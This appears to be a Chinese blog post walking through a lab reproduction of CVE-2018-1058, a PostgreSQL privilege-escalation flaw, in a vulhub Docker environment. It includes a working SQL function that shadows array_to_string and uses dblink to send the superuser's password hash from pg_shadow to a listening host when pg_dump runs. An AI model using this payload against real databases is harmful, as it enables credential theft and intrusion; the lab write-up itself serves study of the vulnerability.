CVE-2018-1058 PostgreSQL 提权漏洞

红云谈安全

已于 2023-08-05 16:14:07 修改

阅读量229

点赞数

分类专栏：权限提升文章标签： postgresql 数据库

于 2022-08-01 09:54:32 首次发布

本文链接：https://blog.csdn.net/qq_51524329/article/details/126095047

版权

权限提升专栏收录该内容

8 篇文章 3 订阅

订阅专栏

本文详细解析了PostgreSQL 9.3到10版本中的一个逻辑错误漏洞，该漏洞允许普通用户在不知情的情况下诱导超级用户执行恶意代码。步骤包括环境准备、漏洞复现，涉及创建恶意函数并利用超级用户身份触发。通过复现，展示了如何通过这个‘后门’获取敏感信息。

摘要由CSDN通过智能技术生成

漏洞原理

PostgreSQL 是一款关系型数据库。其9.3到10版本中存在一个逻辑错误，导致超级用户在不知情的情况下触发普通用户创建的恶意代码，导致执行一些不可预期的操作。
 普通用户连接到数据库—>注入危险代码—>等待超级用户登录触发后门—>收到敏感信息

影响版本：PostgreSQL < 10

 
 
 
 漏洞复现 

  
  环境准备 

  
  打开漏洞存放路径：cd /home/guiltyfet/vulhub/postgres/CVE-2018-1058

   
   
   
   1

docker-compose up -d

 
 
 
 docker ps

   
   
   
   注意端口下面要用到：环境启动后，将在本地开启PG默认的5432端口。
  

    
    另起一个终端
 先通过普通用户vulhub:vulhub的身份登录 

    
    psql --host 192.168.144.1 --username vulhub
输入口令：vulhub

     
     
     
     
 注意：POC里面的端口和IP地址
 查看本机ip和端口 

      
      CREATE FUNCTION public.array_to_string(anyarray,text) RETURNS TEXT AS $$
    select dblink_connect((select 'hostaddr=192.168.144.1 port=5432 user=postgres password=chybeta sslmode=disable dbname='||(SELECT passwd FROM pg_shadow WHERE usename='postgres'))); 
    SELECT pg_catalog.array_to_string($1,$2);
$$ LANGUAGE SQL VOLATILE;


       
       
       
       
 退出exit 

        
        监听192.168.144.1的5432端口 

        
        然后我在192.168.144.1上监听5432端口，等待超级用户触发我们留下的这个“后门”，用超级用户的身份执行pg_dump命令：docker-compose exec postgres pg_dump -U postgres -f evil.bak vulhub，导出vulhub这个数据库的内容。执行上述命令的同时，“后门”已被触发192.168.144.1机器上已收到敏感信息： 

        
        docker-compose exec postgres pg_dump -U postgres -f evil.bak vulhub